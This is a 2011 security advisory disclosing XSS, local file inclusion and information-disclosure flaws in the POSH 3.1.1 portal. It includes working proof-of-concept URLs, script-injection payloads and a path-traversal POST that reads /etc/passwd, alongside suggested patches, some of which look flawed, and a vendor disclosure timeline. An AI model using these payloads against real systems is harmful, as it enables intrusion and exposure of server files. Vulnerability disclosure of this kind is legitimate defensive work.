# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities
# Date: 10/10/2011
# Author: CrashFr
# Software Link: http://sourceforge.net/projects/posh/
# Version: 3.1.1
# Tested on: Linux
#
//----- Advisory
Program : POSH 3.1.1 and prior
Vendor : www.portaneo.com
Homepage : http://sourceforge.net/projects/posh/
Discovery : 2011/09/19
Author Contacted : 2011/09/20
Found by : CrashFr
This Advisory : CrashFr
//----- Application description
POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.
//----- Description of vulnerability
Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1
//----- Proof Of Concept
--- Information disclosure ---
- http://localhost/posh/portal/login.php?lang=fr-en
- Vulnerability at includes/sessions.inc.php
Replace:
if ( preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
$_SESSION['lang'] = $_GET["lang"];
By:
if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
$_SESSION['lang'] = $_GET["lang"];
--- XSS ---
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
- Vulnerability at: templates/default/login.php line 42
Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';
- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
- Vulnerability at: templates/default/login_adminsimplified.php line 93
Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
- Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);
--- Local File Inclusion ---
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
lang=../../../../../../../../../../../../../../../../etc/passwd%00
- Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
- Vulnerability at portal/scr_changelang.php line 67
Replace: $_SESSION['lang']=$lang;
By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
$_SESSION['lang']=$lang;
}
//----- Solution
Apply patchs
Upgrade POSH to 3.1.2
//----- Vulnerability Timeline
2011-09-20 - Reported to vendor
2011-09-21 - Vendor Reply
2011-09-25 - Vendor released POSH 3.1.2
2011-10-10 - Vulnerability Disclosed
//----- Credits
http://www.sysdream.com
crashfr at sysdream dot com
//----- Greetings
HZV (http://www.hackerzvoice.net)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation